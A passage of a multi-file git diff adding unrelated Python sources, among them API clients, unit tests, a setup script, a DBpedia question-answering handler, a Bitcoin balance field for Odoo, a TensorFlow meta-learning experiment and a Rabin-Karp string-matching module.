self._post("/subscribers/%s/import.json" % + list_id, json.dumps(body)) + except BadRequest as br: + # Subscriber import will throw BadRequest if some subscribers are not imported + # successfully. If this occurs, we want to return the ResultData property of + # the BadRequest exception (which is of the same "form" as the response we'd + # receive upon a completely successful import) + if hasattr(br.data, 'ResultData'): + return br.data.ResultData + else: + raise br + return json_to_py(response) + + def unsubscribe(self): + """Unsubscribes this subscriber from the associated list.""" + body = { + "EmailAddress": self.email_address} + response = self._post("/subscribers/%s/unsubscribe.json" % + self.list_id, json.dumps(body)) + + def history(self): + """Gets the historical record of this subscriber's trackable actions.""" + params = {"email": self.email_address} + response = self._get("/subscribers/%s/history.json" % + self.list_id, params=params) + return json_to_py(response) + + def delete(self): + """Moves this subscriber to the deleted state in the associated list.""" + params = {"email": self.email_address} + response = self._delete("/subscribers/%s.json" % + self.list_id, params=params) diff --git a/pool/shard008/Python/0078975_action.py b/pool/shard008/Python/0078975_action.py new file mode 100644 index 0000000000000000000000000000000000000000..7376fecabd2f7804d3564b00f17e934973b833a7 --- /dev/null +++ b/pool/shard008/Python/0078975_action.py @@ -0,0 +1,52 @@ +from st2actions.runners.pythonrunner import Action +from st2client.client import Client +from st2client.models.keyvalue import KeyValuePair # pylint: disable=no-name-in-module + +from lib.utils import filter_none_values + + +__all__ = [ + 'St2BaseAction' +] + + +class St2BaseAction(Action): + def __init__(self, config): + super(St2BaseAction, self).__init__(config) + self._client = Client + self._kvp = KeyValuePair + self.client = self._get_client() + + def _get_client(self): + host = self.config['base_url'] + + try: + return self._client(base_url=host) + except Exception as e: + return e + + def _run_client_method(self, method, method_kwargs, format_func): + """ + Run the provided client method and format the result. + + :param method: Client method to run. + :type method: ``func`` + + :param method_kwargs: Keyword arguments passed to the client method. + :type method_kwargs: ``dict`` + + :param format_func: Function for formatting the result. + :type format_func: ``func`` + + :rtype: ``list`` of ``dict`` + """ + # Filter out parameters with string value of "None" + # This is a work around since the default values can only be strings + method_kwargs = filter_none_values(method_kwargs) + method_name = method.__name__ + self.logger.debug('Calling client method "%s" with kwargs "%s"' % (method_name, + method_kwargs)) + + result = method(**method_kwargs) + result = format_func(result) + return result diff --git a/pool/shard008/Python/0078979_test_padnone.py b/pool/shard008/Python/0078979_test_padnone.py new file mode 100644 index 0000000000000000000000000000000000000000..fd9b443090d40776be19ae453ff9d3d959823b14 --- /dev/null +++ b/pool/shard008/Python/0078979_test_padnone.py @@ -0,0 +1,29 @@ +"""Test for nx_itertools.recipes.padnone""" +from itertools import islice +from nx_itertools.recipes import padnone + + +def test_normal(): + """Test padnone.""" + # padnone with data + data = iter('ABCD') + res = padnone(data) + assert next(res) == 'A' + assert list(islice(res, 4)) == ['B', 'C', 'D', None] + assert list(data) == [] + + # padnone with empty + data = () + res = padnone(data) + assert next(res) is None + assert list(islice(res, 4)) == [None, None, None, None] + +def test_normal_peek(): + """Test padnone with peeking at iterable.""" + # padnone with data + data = iter('ABCD') + res = padnone(data) + assert next(res) == 'A' + assert next(data) == 'B' + assert list(islice(res, 4)) == ['C', 'D', None, None] + assert list(data) == [] diff --git a/pool/shard008/Python/0078980_setup.py b/pool/shard008/Python/0078980_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..e5964a6abbad457acf715b850b5052ce6aacb324 --- /dev/null +++ b/pool/shard008/Python/0078980_setup.py @@ -0,0 +1,27 @@ +import os +from distutils.core import setup + +from setuptools import setup, find_packages +here = os.path.abspath(os.path.dirname(__file__)) + +setup( + name='cmdtwiddler', + version='1.2.0', + description='Small wrapper for twiddler to add and remove supervisor processes on the fly from the command line', + author='Bouke Nederstigt', + author_email='bouke@tapp.cafe', + url='https://github.com/TabsterApp/CMDTwiddler', + download_url='https://github.com/TabsterApp/CMDTwiddler/archive/1.0.1.tar.gz', + keywords=['supervisor', 'twiddler', 'command line'], + classifiers=[], + packages=find_packages(exclude=['contrib', 'docs', 'tests*']), + + install_requires=[ + "scriptine==0.2.1", + "supervisor_twiddler==1.0.0", + "hypothesis==3.12.0" + ], + entry_points={ + 'console_scripts': ['cmdtwiddler=cmdtwiddler.cmdtwiddler:main'] + } +) diff --git a/pool/shard008/Python/0078981_delete_dataset_sample.py b/pool/shard008/Python/0078981_delete_dataset_sample.py new file mode 100644 index 0000000000000000000000000000000000000000..482ca982662f94987e07f6c0e6447366b986295c --- /dev/null +++ b/pool/shard008/Python/0078981_delete_dataset_sample.py @@ -0,0 +1,38 @@ +# Copyright 2020 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +# [START aiplatform_delete_dataset_sample] +from google.cloud import aiplatform + + +def delete_dataset_sample( + project: str, + dataset_id: str, + location: str = "us-central1", + api_endpoint: str = "us-central1-aiplatform.googleapis.com", + timeout: int = 300, +): + # The AI Platform services require regional API endpoints. + client_options = {"api_endpoint": api_endpoint} + # Initialize client that will be used to create and send requests. + # This client only needs to be created once, and can be reused for multiple requests. + client = aiplatform.gapic.DatasetServiceClient(client_options=client_options) + name = client.dataset_path(project=project, location=location, dataset=dataset_id) + response = client.delete_dataset(name=name) + print("Long running operation:", response.operation.name) + delete_dataset_response = response.result(timeout=timeout) + print("delete_dataset_response:", delete_dataset_response) + + +# [END aiplatform_delete_dataset_sample] diff --git a/pool/shard008/Python/0078996_stateful_word_spout.py b/pool/shard008/Python/0078996_stateful_word_spout.py new file mode 100644 index 0000000000000000000000000000000000000000..c976ab84f5aa8f441d9a9def3d5f2bf00302c77a --- /dev/null +++ b/pool/shard008/Python/0078996_stateful_word_spout.py @@ -0,0 +1,63 @@ +#!/usr/bin/env python3 +# -*- encoding: utf-8 -*- + +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. + +"""module for example spout: WordSpout""" + +from itertools import cycle +from collections import Counter + +from heronpy.api.spout.spout import Spout +from heronpy.api.state.stateful_component import StatefulComponent + +class StatefulWordSpout(Spout, StatefulComponent): + """StatefulWordSpout: emits a set of words repeatedly""" + # output field declarer + outputs = ['word'] + + # pylint: disable=attribute-defined-outside-init + def init_state(self, stateful_state): + self.recovered_state = stateful_state + self.logger.info("Checkpoint Snapshot recovered : %s" % str(self.recovered_state)) + + def pre_save(self, checkpoint_id): + # Purely for debugging purposes + for (k, v) in list(self.counter.items()): + self.recovered_state.put(k, v) + self.logger.info("Checkpoint Snapshot %s : %s" % (checkpoint_id, str(self.recovered_state))) + + # pylint: disable=unused-argument + def initialize(self, config, context): + self.logger.info("In initialize() of WordSpout") + self.words = cycle(["hello", "bye", "good", "bad", "heron", "storm"]) + self.counter = Counter() + + self.emit_count = 0 + self.ack_count = 0 + self.fail_count = 0 + + self.logger.info("Component-specific config: \n%s" % str(config)) + + def next_tuple(self): + word = next(self.words) + self.emit([word], tup_id='message id') + self.counter[word] += 1 + self.emit_count += 1 + if self.emit_count % 100000 == 0: + self.logger.info("Emitted " + str(self.emit_count)) diff --git a/pool/shard008/Python/0079001_api.py b/pool/shard008/Python/0079001_api.py new file mode 100644 index 0000000000000000000000000000000000000000..224f590babcef9c644d6d08921de33fcea092a14 --- /dev/null +++ b/pool/shard008/Python/0079001_api.py @@ -0,0 +1,189 @@ +# -*- coding: utf-8 -*- +# Copyright 2017 Janko Hoener +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + + +import json +from google.appengine.api import memcache, urlfetch, urlfetch_errors +import logging +from handlerlib import * +from datatypes import * +from userauth import * +import urllib, urllib2 +from urllib2 import Request +import os +from google.appengine.api.urlfetch_errors import * + + +class AskNowJSONAnswerHandler(Handler): + GENESIS_API_URL = 'http://genesis.aksw.org/api/' + GENESIS_APIS = ['description', 'similar', 'related', 'images', 'videos'] + GENESIS_QUERY_APIS = ['images', 'videos'] + GENESIS_API_JSON_MAPPING = {'related': 'relatedEntities', 'similar': 'similarEntities'} + DBPEDIASL_URL = 'http://model.dbpedia-spotlight.org/en/annotate' + DBPEDIA_URL = 'http://dbpedia.org/resource/' + DBPEDIA_API_URL = 'http://dbpedia.org/sparql' + DBPEDIASL_CONF = 0.4 + + def retrieve_info(self, titles): + resp = {} + resp['information'] = [] + resp['answers'] = [] + for title in titles: + title_type = type(title) + if title_type is int or title_type is float: + resp['answers'].append("{:,}".format(title)) + titles.remove(title) + continue + elif title_type is bool: + resp['answers'].append(('Yes', 'No')[title]) + titles.remove(title) + continue + elif title_type is not str: + raise ValueError('title must be string, int, float or boolean') + # elif title_type is str: + cur_info = {} + cur_info['title'] = title + for api in self.GENESIS_APIS: + dbpurl = {} + if api in self.GENESIS_QUERY_APIS: + dbpurl['q'] = title + else: + dbpurl['url'] = self.DBPEDIA_URL + self.encode_title(title) + dbpjson = json.dumps(dbpurl) + url = self.GENESIS_API_URL + api + retry = 2 + while retry: + try: + urlobj = urlfetch.fetch(url, method='POST', payload=dbpjson, headers={'Accept': 'application/json', 'Content-Type': 'application/json', 'Connection': 'keep-alive'}, deadline=1) + except: + retry = retry - 1 + if not retry: + if api in self.GENESIS_API_JSON_MAPPING: + cur_info[self.GENESIS_API_JSON_MAPPING[api]] = None + else: + cur_info[api] = None + break + else: + if urlobj.status_code == 200: + cur_info.update(json.loads(urlobj.content)) + break + else: + retry = retry - 1 + if not retry: + if api in self.GENESIS_API_JSON_MAPPING: + answer[self.GENESIS_API_JSON_MAPPING[api]] = None + else: + answer[api] = None + break + resp['information'].append(cur_info) + resp['answers'].extend(titles) + resp['lenanswers'] = len(resp['answers']) + resp['status'] = 0 + resp['message'] = 'Connection successful.' + return resp + + def retrieve_entities(self, phrase): + param = {} + param['text'] = phrase + param['confidence'] = self.DBPEDIASL_CONF + params = 'text=%s&confidence=%s' % (param['text'], param['confidence']) + url = self.DBPEDIASL_URL + '?' + urllib.urlencode(param) + logging.info('Retrieving entities for %s from %s' % (phrase, url)) + headers = { 'Accept' : 'application/json' } + retry = 2 + while retry: + try: + a = urlfetch.fetch(url, headers = headers) + except: + retry = retry - 1 + if not retry: + return [] + else: + if a.status_code == 200: + entityobj = json.loads(a.content) + logging.debug(entityobj) + if entityobj.get('Resources'): + titles = [] + for entity in entityobj['Resources']: + if entity.get('@URI'): + title = self.retrieve_title_from_url(entity['@URI']).encode('utf-8') + titles.append(title) + if titles: + logging.info('Successfully retrieved entities for %s' % phrase) + return titles + else: + return [] + else: + return [] + else: + return [] + + def retrieve_titles(self, question): + # FIXME: this should use a call to an AskNow API + known_answers = { + 'how many symphonies did beethoven compose': [9], + 'how many inhabitants does oberhausen have': [210934], + 'is albert einstein alive': [True], + 'is kanye west alive': [False], + 'who is the president of the united states': ['Barack Obama'], + 'how many goals did gerd müller score': ['Gerd Müller'], + 'who is the president elect of the united states': ['Donald Trump'], + 'in which city was beethoven born': ['Bonn'], + 'in which city was adenauer born': ['Cologne'], + 'what country is shah rukh khan from': ['India'], + 'what are the capitals of germany and india': ['Berlin', 'New Delhi'], + 'what are the capitals of germany, india and usa': ['Berlin', 'New Delhi', 'Washington D.C.'], + 'what are the capitals of germany, india, usa and france': ['Berlin', 'New Delhi', 'Washington D.C.', 'Paris'] + } + if question in known_answers: + return known_answers[question] + else: + return [] + + def get(self): + query = question = self.request.get('q') + logging.info('Generating JSON for query %s' % query) + question = question.lower().replace('?', '') + question = question.encode('utf-8') + answers = {} + if query: + logging.info('Retrieving titles for question %s' % question) + titles = self.retrieve_titles(question) + logging.info('Retrieved %s titles.' % len(titles)) + if len(titles) > 0: + logging.info('Question answered by AskNow, retrieving info for titles.') + answers = self.retrieve_info(titles) + answers['answered'] = True + if len(answers['information']) == 0 and answers.get('lenanswers') > 0: + logging.info('Question answered, but no information on entities available.' + + 'Loading info for entities of question.') + entitytitles = self.retrieve_entities(question) + entityanswers = self.retrieve_info(entitytitles) + answers['information'].extend(entityanswers['information']) + logging.info('Information successfully retrieved.') + else: + logging.info('Question cannot be answered by AskNow.' + + 'Attempting to load entities of the question.') + titles = self.retrieve_entities(question) + answers = self.retrieve_info(titles) + answers['answers'] = [] + answers['lenanswers'] = 0 + answers['answered'] = False + else: + answers = { 'status': 2, 'message': 'Application needs a q parameter, none given.' } + answers['question'] = query + json_string = json.dumps(answers) + self.response.headers['Content-Type'] = 'application/json; charset=UTF-8' + self.write(json_string) \ No newline at end of file diff --git a/pool/shard008/Python/0079004_test_load.py b/pool/shard008/Python/0079004_test_load.py new file mode 100644 index 0000000000000000000000000000000000000000..4b1386140a06ee4db7837ab38795b58f0fd0f7c5 --- /dev/null +++ b/pool/shard008/Python/0079004_test_load.py @@ -0,0 +1,47 @@ +""" + tests.pytests.unit.beacons.test_load + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + Load beacon test cases +""" +import pytest +import salt.beacons.load as load +from tests.support.mock import MagicMock, patch + + +@pytest.fixture +def configure_loader_modules(): + return {load: {"__context__": {}, "__salt__": {}}} + + +def test_non_list_config(): + config = {} + + ret = load.validate(config) + assert ret == (False, "Configuration for load beacon must be a list.") + + +def test_empty_config(): + config = [{}] + + ret = load.validate(config) + assert ret == (False, "Averages configuration is required for load beacon.") + + +@pytest.mark.skip_on_windows(reason="os.getloadavg not available on Windows") +def test_load_match(): + with patch("os.getloadavg", MagicMock(return_value=(1.82, 1.84, 1.56))): + config = [ + { + "averages": {"1m": [0.0, 2.0], "5m": [0.0, 1.5], "15m": [0.0, 1.0]}, + "emitatstartup": True, + "onchangeonly": False, + } + ] + + ret = load.validate(config) + assert ret == (True, "Valid beacon configuration") + + _expected_return = [{"1m": 1.82, "5m": 1.84, "15m": 1.56}] + ret = load.beacon(config) + assert ret == _expected_return diff --git a/pool/shard008/Python/0079018_clients.py b/pool/shard008/Python/0079018_clients.py new file mode 100644 index 0000000000000000000000000000000000000000..cdc77cce0081ea2b9572e58da706a6fe3972e295 --- /dev/null +++ b/pool/shard008/Python/0079018_clients.py @@ -0,0 +1,50 @@ +from openerp import models, fields, api +from openerp.tools.translate import _ +import logging +#from fingerprint import Fingerprint +from dateutil import relativedelta +from datetime import datetime as dt +from dateutil import parser +import xlsxwriter +import StringIO +from io import BytesIO +import base64 +import hashlib +import xmltodict +from math import modf +from lxml import etree +#from xmljson import badgerfish as bf +from xml.etree.ElementTree import fromstring +from json import dumps +import pywaves as pw +import requests +import base58 +import rethinkdb as r +from subprocess import call +import os +import ast + + +_logger = logging.getLogger(__name__) + +class CryptoCurrency(models.Model): + + _inherit = 'res.partner' + + bitcoin_balance = fields.Float(string='Bitcoin Balance',compute='_bitcoin_balance') + bitcoin_address = fields.Char(string='Bitcoin Address') + waves_balance = fields.Float(string='Waves Balance') + waves_address = fields.Char(string='Waves Address') + + @api.one + def _bitcoin_balance(self): + _logger.info(self.bitcoin_address) + if self.bitcoin_address: + request_api = 'https://blockchain.info/rawaddr/'+self.bitcoin_address + req = requests.get(request_api) + balance=req.json()['final_balance'] + self.bitcoin_balance = float(balance)/100000000 + else: + self.bitcoin_balance = 0 + + \ No newline at end of file diff --git a/pool/shard008/Python/0079019_conftest.py b/pool/shard008/Python/0079019_conftest.py new file mode 100644 index 0000000000000000000000000000000000000000..703303ef3048d769a75be62c5e91e726ccc9f930 --- /dev/null +++ b/pool/shard008/Python/0079019_conftest.py @@ -0,0 +1,30 @@ +# -*- coding: utf-8 -*- + + +import os +import pytest +from PIL import Image + +CAPTURES_DIR = os.path.join(os.path.dirname(__file__), 'captures') + + +@pytest.fixture(scope='session') +def captures_portrait(): + return [Image.open(os.path.join(CAPTURES_DIR, 'portrait', img)) + for img in os.listdir(os.path.join(CAPTURES_DIR, 'portrait'))] + + +@pytest.fixture(scope='session') +def captures_landscape(): + return [Image.open(os.path.join(CAPTURES_DIR, 'landscape', img)) + for img in os.listdir(os.path.join(CAPTURES_DIR, 'landscape'))] + + +@pytest.fixture(scope='session') +def fond(): + return os.path.join(CAPTURES_DIR, 'fond.jpg') + + +@pytest.fixture(scope='session') +def overlay(): + return os.path.join(CAPTURES_DIR, 'overlay.png') diff --git a/pool/shard008/Python/0079020_meta-learner.py b/pool/shard008/Python/0079020_meta-learner.py new file mode 100644 index 0000000000000000000000000000000000000000..75ccb2bdd209680da306539586d133bcc1c7bc37 --- /dev/null +++ b/pool/shard008/Python/0079020_meta-learner.py @@ -0,0 +1,104 @@ +import tensorflow as tf +import matplotlib +import matplotlib.pyplot as plt + +import numpy as np + +DIMS = 10 # Dimensions of the parabola +LAYERS = 2 +STATE_SIZE = 20 +TRAINING_STEPS = 20 # This is 100 in the paper + +scale = tf.random_uniform([DIMS], 0.5, 1.5) +# This represents the network/function we are trying to optimize, +# the `optimizee' as it's called in the paper. +# Actually, it's more accurate to think of this as the error +# landscape. +def f(x): + # x = scale*x + # return tf.reduce_sum(x*x) + return tf.square(x) + +# def g_sgd(gradients, state, learning_rate=0.1): +# return -learning_rate*gradients, state + +# def g_rms(gradients, state, learning_rate=0.1, decay_rate=0.99): +# if state is None: +# state = tf.zeros(DIMS) +# state = decay_rate*state + (1-decay_rate)*tf.pow(gradients, 2) +# update = -learning_rate*gradients / (tf.sqrt(state)+1e-5) +# return update, state + +cell = tf.contrib.rnn.MultiRNNCell( + [tf.contrib.rnn.LSTMCell(STATE_SIZE) for _ in range(LAYERS)]) +cell = tf.contrib.rnn.InputProjectionWrapper(cell, STATE_SIZE) +cell = tf.contrib.rnn.OutputProjectionWrapper(cell, 1) +cell = tf.make_template('cell', cell) + +def g_rnn(gradients, state): + # Make a `batch' of single gradients to create a + # "coordinate-wise" RNN as the paper describes. + # print type(gradients) + gradients = tf.expand_dims(gradients, axis=1) + + if state is None: + state = [[tf.zeros([DIMS, STATE_SIZE])] * 2] * LAYERS + # print "gradients" + # print gradients + # print "state" + # print state + update, state = cell(gradients, state) + # Squeeze to make it a single batch again. + return tf.squeeze(update, axis=[1]), state + +def optimize(loss): + optimizer = tf.train.AdamOptimizer(0.0001) + gradients, v = zip(*optimizer.compute_gradients(loss)) + gradients, _ = tf.clip_by_global_norm(gradients, 1.) + return optimizer.apply_gradients(zip(gradients, v)) + +initial_pos = tf.random_uniform([DIMS], -1., 1.) +def learn(optimizer): + losses = [] + x = initial_pos + state = None + for _ in range(TRAINING_STEPS): + loss = f(x) + losses.append(loss) + # print loss, + + grads, = tf.gradients(loss, x) + print grads + update, state = optimizer(grads, state) + x += update + return losses + +# sgd_losses = learn(g_sgd) +# rms_losses = learn(g_rms) + +rnn_losses = learn(g_rnn) +sum_losses = tf.reduce_sum(rnn_losses) +apply_update = optimize(sum_losses) + + +sess = tf.InteractiveSession() +sess.run(tf.global_variables_initializer()) + +ave = 0 +for i in range(4000): + err, _ = sess.run([sum_losses, apply_update]) + ave += err + if i % 1000 == 0: + print(ave / 1000 if i!=0 else ave) + ave = 0 +print(ave / 1000) +x = np.arange(TRAINING_STEPS) + +for _ in range(3): + rnn_l = sess.run([rnn_losses]) + # p1, = plt.plot(x, sgd_l, label='SGD') + p3, = plt.plot(x, rnn_l, label='RNN') + # p2, = plt.plot(x, rms_l, label='RMS') + # plt.legend(handles=[p1,p3, p2]) + plt.title('Losses') + plt.show() \ No newline at end of file diff --git a/pool/shard008/Python/0079025_update_20160810.py b/pool/shard008/Python/0079025_update_20160810.py new file mode 100644 index 0000000000000000000000000000000000000000..eca899a07c22d42a6247d55677df039fbf2753c0 --- /dev/null +++ b/pool/shard008/Python/0079025_update_20160810.py @@ -0,0 +1,143 @@ +""" +Working script + +Update RawData with 35 recs from KW where 30 are new and 4 are updates to existing data. + +1? + +""" + +import csv +from dateutil import parser + +from django.db import IntegrityError + +from bcpp_interview.models import RawData, PotentialSubject, SubjectLocation, SubjectLocator +from edc_map.exceptions import MapperError +from datetime import date + +csv_filename = '/Users/erikvw/Documents/bcpp/bcpp_interview/pairs1to10_subjects_pims_final_erik2.csv' +added = 0 +updated = 0 + +with open(csv_filename, 'r', newline='') as csvfile: + reader = csv.DictReader(csvfile) + header = None + for recs, row in enumerate(reader): + if not header: + header = row + else: + try: + obj = RawData.objects.create(**row) + obj.source = 'kathleen' + obj.save() + added += 1 + except IntegrityError: + # update the existing record + obj = RawData.objects.get(subject_identifier=row.get('subject_identifier')) + obj.category = row['category'] + obj.sub_category = row['sub_category'] + obj.issue = row['issue'] + obj.elig_cat = row['elig_cat'] + obj.source = 'updated kw' + obj.save() + updated += 1 + + +""" Update existing Potential Subjects with data from KW.""" + +for obj in PotentialSubject.objects.filter(pair__gt=5): + raw_data = RawData.objects.get(subject_identifier=obj.subject_identifier) + if obj.category != raw_data.category or obj.sub_category != raw_data.sub_category: + obj.category = raw_data.category + obj.sub_category = raw_data.sub_category + obj.source = 'updated_kw' + obj.save() + +""" Add new Potential Subjects. """ +added = 0 +for obj in RawData.objects.filter(pair__gt=5): + try: + PotentialSubject.objects.create( + first_name=obj.first_name, + last_name=obj.last_name, + subject_identifier=obj.subject_identifier, + identity=obj.identity, + dob=parser.parse(obj.dob), + gender=obj.gender, + category=obj.category, + sub_category=obj.sub_category, + community=obj.community, + pair=obj.pair, + source='kathleen' + ) + added += 1 + except IntegrityError: + pass + + +""" Update subject location. """ +for obj in PotentialSubject.objects.filter(source='kathleen'): + try: + obj = RawData.objects.get(subject_identifier=obj.subject_identifier) + try: + SubjectLocation.objects.create( + subject_identifier=obj.subject_identifier, + gps_confirm_latitude=obj.latitude, + gps_confirm_longitude=obj.longitude, + community=obj.community, + ) + except MapperError as e: + print(str(e)) + except IntegrityError: + print(str(e)) + except RawData.DoesNotExist: + pass + + +""" Update subject locator """ +csv_filename = '/Users/erikvw/Documents/bcpp/bcpp_interview/locator20160811.csv' +field_list = [field.name for field in SubjectLocator._meta.fields] +added = 0 +with open(csv_filename, 'r', newline='') as csvfile: + reader = csv.DictReader(csvfile) + header = None + for recs, row in enumerate(reader): + if not header: + header = row + columns_to_remove = [f for f in header if f not in field_list] + else: + subject_identifier = row.get('subject_identifier') + try: + potential_subject = PotentialSubject.objects.get( + subject_identifier=subject_identifier) + for k in columns_to_remove: + row.pop(k, None) + row['date_signed'] = parser.parse(row['date_signed']) + # row['report_datetime'] = parser.parse(row['report_datetime']) + SubjectLocator.objects.create(potential_subject=potential_subject, **row) + added += 1 + except IntegrityError: + pass + except PotentialSubject.DoesNotExist: + pass + + +""" Call manager """ + +from edc_call_manager.caller_site import site_model_callers + +model_caller = site_model_callers._registry['model_callers']['subjects'] +scheduled = None + +for obj in PotentialSubject.objects.filter(source='kathleen'): + options = model_caller.personal_details_from_subject(obj) + options['potential_subject'] = obj + call = model_caller.call_model.objects.create( + scheduled=scheduled or date.today(), + label=model_caller.label, + repeats=model_caller.repeats, + **options) + model_caller.log_model.objects.create( + call=call, + locator_information=model_caller.get_locator(obj)) diff --git a/pool/shard008/Python/0079026_robin_karp_pattern_match.py b/pool/shard008/Python/0079026_robin_karp_pattern_match.py new file mode 100644 index 0000000000000000000000000000000000000000..69847fa075e08a1e813e41d3ea0a935090d2272b --- /dev/null +++ b/pool/shard008/Python/0079026_robin_karp_pattern_match.py @@ -0,0 +1,144 @@ +# /tests/robin_karp_pattern_match.py +# +# Pattern match using the Robin-Karp method to optimize the inner loop +# +# See LICENCE.md for Copyright information +"""Loader module.""" + +import math + +def match_pattern_robin_karp(pattern, text): + """Matches patterns based on the Robin-Karp algorithm. + + First convert all of the text in the pattern to integers and then + match the integers against each other. We use horners rule to + progress along the text character-by-character. + + Matches are returned as a sequence of indices.""" + + matches = [] + + text_length = len(text) + pattern_length = len(pattern) + + # First calcuate the integer representation of the pattern + ascii_a_char_value = ord("a") - 1 + + pattern_as_integer = 0 + for i in range(0, pattern_length): + pattern_as_integer = (pattern_as_integer * 10 + + ord(pattern[i]) - ascii_a_char_value) + + text_chunk_as_integer = 0 + for i in range(0, pattern_length): + text_chunk_as_integer = (text_chunk_as_integer * 10 + + ord(text[i]) - ascii_a_char_value) + + # Now progress along the text pattern, starting iterations at + # 0 and comparing text_chunk_as_integer against + # pattern_as_integer. + for i in range(0, text_length - pattern_length + 1): + + if text_chunk_as_integer == pattern_as_integer: + matches.append(i) + + # Now move the text chunk along, by doing the following: + # + # text_chunk_as_integer * 10 % (pow(10, pattern_length - 1)) + + # text[i + pattern_length] - ascii_a_char_value + if i < text_length - pattern_length: + text_chunk_as_integer = ((text_chunk_as_integer % + (math.pow(10, pattern_length - 1)) * 10) + + ord(text[i + pattern_length]) - ascii_a_char_value) + + return matches + +# Generic rabin karp. +# +# You need to parse each character in your pattern and then convert it into +# an int. You multiple you hash by your alphabet size and then modulo prime. +# +# You always have to make sure that when there's a match on the hash that the +# text of the pattern itself also matches to avoid a false positive. +# +# Compute the hash of the pattern and the first m characters of the text and +# then just move along. +# +# cur = ((cur - (prev * high) % PRIME + PRIME) * ALPHABET + next) % PRIME +# +# The proof for this is that beacuse you've hashed your pattern and every time +# read the plaintext, you get to skip the inner-loop. +PRIME_NUMBER = 49157 + +def match_pattern_generic_rabin_karp(pattern, text): + """Matches patterns based on the Robin-Karp algorithm. + + First convert all of the text in the pattern to integers and then + match the integers against each other. We use horners rule to + progress along the text character-by-character. + + Best case this is O(n + m). + Worst case this is O(nm). [constant hash collissions and have to keep doing + the inner loop till we get to the end] + + Matches are returned as a sequence of indices.""" + + matches = [] + + def char_value(char): + """Get the numeric value for this character.""" + return ord(char) + + alphabet_len = 256 + pattern_len = len(pattern) + text_len = len(text) + + pattern_as_integer = 0 + text_chunk_as_integer = 0 + + # XXX: Ask what this is for. I suspect its used to determine the maximum + # possible "head" for the hash. + initial_value_hash = 1 + for i in range(0, pattern_len - 1): + initial_value_hash = (initial_value_hash * alphabet_len) % PRIME_NUMBER + + # Construct initial hashes + for i in range(0, pattern_len): + pattern_as_integer = (alphabet_len * pattern_as_integer + + char_value(pattern[i])) % PRIME_NUMBER + text_chunk_as_integer = (alphabet_len * text_chunk_as_integer + + char_value(text[i])) % PRIME_NUMBER + + # Now progress along the text pattern, starting iterations at + # 0 and comparing text_chunk_as_integer against + # pattern_as_integer. + for i in range(0, text_len - pattern_len + 1): + + # If there is a match, there may be a false positive, so + # check the characters themselves for a match, then add a match + if text_chunk_as_integer == pattern_as_integer: + if text[i:i + pattern_len] == pattern: + matches.append(i) + + # Now move the text chunk along, by doing the following: + # + # alphabet_len * (text_chunk_as_integer - [ step 1 ] + # (initial_value_hash * char_value(text[i]))) + + # char_value(text[i + pattern_len]) % PRIME_NUMBER [ step 2 ] + # + # The first step takes our current hash value and subtracts its "head", + # but moves it along by the length of the alphabet. + # + # The second step adds the current tail (eg, text[i + pattern_len]) + # modulo the prime number to the current hash. + # + if i < text_len - pattern_len: + text_chunk_as_integer = (alphabet_len * (text_chunk_as_integer - + initial_value_hash * + char_value(text[i])) + + char_value(text[i + pattern_len])) % PRIME_NUMBER + + if text_chunk_as_integer < 0: + text_chunk_as_integer += PRIME_NUMBER + + return matches diff --git a/pool/shard008/Python/0079031_tasks.py b/pool/shard008/Python/0079031_tasks.py new file mode 100644 index 0000000000000000000000000000000000000000..de300d6932dbd7d2a527b94a025bf09bd15db444 --- /dev/null +++ b/pool/shard008/Python/0079031_tasks.py @@ -0,0 +1,17 @@ +from __future__ import absolute_import +import Adafruit_DHT +from celery import task +from button.models import Temp + + +@task(name='button.tasks.temp') +def temp(): + humidity, temperature = Adafruit_DHT.read_retry(11, 4) + if humidity and temperature: + Temp.objects.create(temp=temperature, humidity=humidity) + return humidity, temperature + + +@task(name='button.tasks.test') +def test(param): + return 'The test task executed with argument "%s" ' % param diff --git a/pool/shard008/Python/0079032_test_records_restful.py b/pool/shard008/Python/0079032_test_records_restful.py new file mode 100644 index 0000000000000000000000000000000000000000..ddc21495f286a606b28aef8366f227a0785e7283 --- /dev/null +++ b/pool/shard008/Python/0079032_test_records_restful.py @@ -0,0 +1,182 @@ +# -*- coding: utf-8 -*- +## +## This file is part of Invenio. +## Copyright (C) 2014 CERN. +## +## Invenio is free software; you can redistribute it and/or +## modify it under the terms of the GNU General Public License as +## published by the Free Software Foundation; either version 2 of the +## License, or (at your option) any later version. +## +## Invenio is distributed in the hope that it will be useful, but +## WITHOUT ANY WARRANTY; without even the implied warranty of +## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +## General Public License for more details. +## +## You should have received a copy of the GNU General Public License +## along with Invenio; if not, write to the Free Software Foundation, Inc., +## 59 Temple Place, Suite 330, Boston, MA 02111-1307, USA. + + +from invenio.ext.restful.utils import APITestCase +from invenio.testsuite import make_test_suite, run_test_suite +from invenio.base.wrappers import lazy_import + +db = lazy_import('invenio.ext.sqlalchemy.db') + + +class TestRecordsRestfulAPI(APITestCase): + + def setUp(self): + """Run before each test.""" + from invenio.modules.accounts.models import User + + self.user_a = User(email='user_a@example.com', _password='iamusera', + nickname='user_a') + try: + 